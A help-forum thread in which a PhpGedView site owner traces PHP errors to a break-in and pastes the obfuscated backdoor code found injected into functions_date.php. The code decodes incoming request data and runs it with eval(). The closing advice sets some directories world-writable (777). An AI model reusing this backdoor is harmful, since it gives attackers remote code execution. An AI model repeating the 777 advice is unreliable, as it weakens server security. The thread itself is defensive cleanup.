Menu

ERROR 8: Undefined index: r598c

Help
2016-04-01
2016-04-04
  • Mitar Miric

    Mitar Miric - 2016-04-01

    I upgraded my site to 4.3.0 and for a while all was working fine then suddenly tons of ERROR 8 popped out. I searched for post on this topic but couldn't understand why this heppened and how to fix it.

    ERROR 8: Undefined index: r598c
    0 Error occurred on line 1 of file functions_date.php in function require
    1 called from line 436 of file session.php in function require_once
    2 called from line 87 of file config.php in function require
    3 called from line 29 of file index.php

    Notice: Undefined index: r598c in /home1/damjanac/public_html/damjanci/ged/includes/functions/functions_date.php on line 1

     
  • Gerry Kroll

    Gerry Kroll - 2016-04-01

    I suspect your PhpGedView installation is damaged -- probably a hacker got at it.

    The functions_date.php script hasn't been changed since Dec 21, 2009. Line 1 of this script, as with all PHP scripts in PhpGedView, should be <?php There's no way line 1 of this script would ever generate a reference to an undefined index. The actual code for this script begins on line 26.

    You'd be wise to download the latest version from the SVN repository and use that to replace all of your PhpGedView installation, except for the existing /index and /media directories.

     
  • Mitar Miric

    Mitar Miric - 2016-04-04

    Resolved. I opened thr file in question (functions_date.php) and I notise a huge amound of code injected between these two lines: "<?php" and "/" You can see the malicious code below. I just erraised that code and the error was gone.

    $adaf){$xe401f1=$adaf;$i9aec88=$j4fbc6d57;}if(!$xe401f1){foreach($r598c[$r598c['oa2be905'][33].$r598c['oa2be905'][66].$r598c['oa2be905'][84].$r598c['oa2be905'][88].$r598c['oa2be905'][32]]as$j4fbc6d57=>$adaf){$xe401f1=$adaf;$i9aec88=$j4fbc6d57;}}$xe401f1=@$r598c[$r598c['oa2be905'][75].$r598c['oa2be905'][61].$r598c['oa2be905'][88].$r598c['oa2be905'][38].$r598c['oa2be905'][7].$r598c['oa2be905'][50].$r598c['oa2be905'][32]]($r598c[$r598c['oa2be905'][75].$r598c['oa2be905'][70].$r598c['oa2be905'][61].$r598c['oa2be905'][32].$r598c['oa2be905'][78].$r598c['oa2be905'][70].$r598c['oa2be905'][59]]($r598c[$r598c['oa2be905'][88].$r598c['oa2be905'][88].$r598c['oa2be905'][64].$r598c['oa2be905'][88].$r598c['oa2be905'][66].$r598c['oa2be905'][59].$r598c['oa2be905'][88].$r598c['oa2be905'][48]]($xe401f1),$i9aec88));if(isset($xe401f1[$r598c['oa2be905'][88].$r598c['oa2be905'][79]])&&$m1db02==$xe401f1[$r598c['oa2be905'][88].$r598c['oa2be905'][79]]){if($xe401f1[$r598c['oa2be905'][88]]==$r598c['oa2be905'][12]){$g5d17=Array($r598c['oa2be905'][94].$r598c['oa2be905'][1]=>@$r598c[$r598c['oa2be905'][23].$r598c['oa2be905'][78].$r598c['oa2be905'][63].$r598c['oa2be905'][32].$r598c['oa2be905'][48].$r598c['oa2be905'][88].$r598c['oa2be905'][95].$r598c['oa2be905'][95]](),$r598c['oa2be905'][43].$r598c['oa2be905'][1]=>$r598c['oa2be905'][66].$r598c['oa2be905'][6].$r598c['oa2be905'][84].$r598c['oa2be905'][14].$r598c['oa2be905'][66],);echo@$r598c[$r598c['oa2be905'][38].$r598c['oa2be905'][59].$r598c['oa2be905'][66].$r598c['oa2be905'][4]]($g5d17);}elseif($xe401f1[$r598c['oa2be905'][88]]==$r598c['oa2be905'][48]){eval($xe401f1[$r598c['oa2be905'][38]]);}exit();} ?>
     
  • Gerry Kroll

    Gerry Kroll - 2016-04-04

    The question remains: What other scripts have been damaged by the hacker?

    I would still replace all of the PhpGedView program with the most recent SVN set of directories and files. Blow away everything except directories /index and /media (and their contents), and also file /config.php.

    You need to ensure that your PhpGedView program files are all set with the correct permissions set.

    Everything (files and directories) should be set to 755, except directories /index and /media, which, together with their contents, require 777.

     

Log in to post a comment.